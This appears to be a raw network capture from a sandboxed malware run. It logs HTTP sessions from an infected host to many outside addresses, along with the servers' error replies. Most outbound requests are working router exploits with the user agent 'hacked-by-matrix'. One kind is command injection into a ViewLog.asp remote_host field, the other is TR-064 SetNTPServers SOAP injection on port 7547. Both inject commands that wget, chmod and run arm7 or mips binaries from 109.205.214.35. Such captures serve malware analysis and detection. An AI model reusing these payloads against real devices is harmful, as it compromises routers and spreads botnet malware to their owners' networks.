Mar 21, 2024 05:27:13.700856924 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.866312981 CET	606	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:27:13 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 320 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1/cgi-bin/ViewLog.asp">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Mar 21, 2024 05:27:13.866328001 CET	505	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:27:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 65 62 30 31 2e 73 70 61 63 65 6e 6f 64 65 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at web01.spacenode.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1792	192.168.2.23	46966	94.187.117.182	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.705816984 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1793	192.168.2.23	32786	178.162.228.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.709544897 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.881129026 CET	409	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:13 GMT Content-Type: text/html Content-Length: 194 Connection: keep-alive Location: https://tvmucho.com Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 21, 2024 05:27:13.881269932 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:13 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1794	192.168.2.23	40734	86.126.3.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.737502098 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.937278032 CET	317	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 21 Mar 2024 04:27:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 f9 05 a9 79 45 a9 c5 25 95 c8 f2 fa 30 13 f5 a1 ae 01 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f(HML),I310Q/Qp/K&T$dCAfAyyE%0tc0
Mar 21, 2024 05:27:13.937292099 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:27:49 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 21, 2024 05:27:14.331610918 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:27:49 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1795	192.168.2.23	57380	82.223.222.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.747212887 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.950387955 CET	998	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:27:13 GMT Server: Apache/2.4.38 (Debian) Content-Length: 274 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 37 3a 31 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:27:13 GMTServer: Apache/2.4.38 (Debian)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at localhost.localdomain Port 80</address></body></html>
Mar 21, 2024 05:27:15.056745052 CET	998	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:27:13 GMT Server: Apache/2.4.38 (Debian) Content-Length: 274 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 37 3a 31 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:27:13 GMTServer: Apache/2.4.38 (Debian)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at localhost.localdomain Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1796	192.168.2.23	40340	98.4.227.113	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.747315884 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:14.407943964 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:15.175533056 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1797	192.168.2.23	38310	213.148.66.191	80

Timestamp	Bytes transferred	Direction	Data
